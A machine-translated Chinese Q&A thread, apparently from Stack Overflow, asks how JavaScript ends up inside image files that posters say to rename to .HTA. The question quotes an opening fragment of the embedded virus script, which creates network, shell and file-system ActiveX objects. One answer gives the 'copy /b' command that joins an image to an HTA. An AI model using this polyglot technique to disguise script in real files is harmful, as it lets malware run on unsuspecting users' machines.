2010-08-08 138 views
3

我注意到分发潜在不安全代码的新趋势,其中人们将图像发布到服务器,并提示水印表明它们将文件名更改为具有.HTA文件扩展名。在图像文件中嵌入Javascript

我意识到.HTA是一个HTML应用程序文件,它被微软的逻辑隐式信任,并且可以包含代码来处理任何基于Web的任何事情。我用我最喜欢的文本编辑器打开文件,令我惊讶的是图像文件中有Javascript代码!

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV 

//<script id=thisscript> 
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"]; 
var dom2 = ["bin","dat","bin","tmp","tmp","bin"]; 
// Global XMLHttp, shell, and file system objects 
var request = new ActiveXObject("Msxml2.XMLHTTP"); 
var shell = new ActiveXObject("WScript.Shell"); 
var fs = new ActiveXObject("Scripting.FileSystemObject"); 

源代码下面还有更多的乱码图片数据。这只是一个片段。

我很好奇,知道他们如何能够将Javascript代码添加到图像文件而不会破坏图像文件格式并使其无法查看。我向一些同事介绍了这一点,他们也同样难过。

+3

你能展示一个完整的文件示例吗? – 2010-08-08 18:05:46

+1

我很想看到一个完整的例子 – 2010-08-08 18:08:29

回答

1

我的猜测是这是某种类型的多部分文件(对于它包含图像和脚本数据是完全正常的),可能会立即执行(在本地上下文中),因为它被视为超文本应用程序。

欲了解更多信息,我们需要查看完整的实际文件。

+0

我发现了一个自我复制的病毒版本。它使用一个名为ImageMagick的程序,将用户的Windows配置文件中的随机图像与自己的代码结合起来,然后将该图像发布到服务器。 – RavB 2010-08-09 15:19:47

1

这里的问题是自由文件格式公差。

JPG解释器足以容忍忽略“损坏”的非图像数据。这就是您可以在下载时查看大型JPG的方式。 HTA解释器足以容忍忽略文件顶部的所有奇怪“文本”,并继续评估下面的标记和脚本。

有关于这种奇怪的行为在这里另一篇文章: Can I embed an icon to a .hta file? 在它Alexandre Jasmine建议嵌入在HTA的图标使用此命令行:

 copy /b icon.ico+source.hta iconapp.hta 

您发现该图像/脚本可以一直用这个创建技术。

您没有包含整个脚本,但是您显示的内容看起来非常可怕。具有Web连接,shell和文件系统对象的HTA脚本可以在您的本地文件系统中执行任何想要的操作,然后在完成后将电话回家。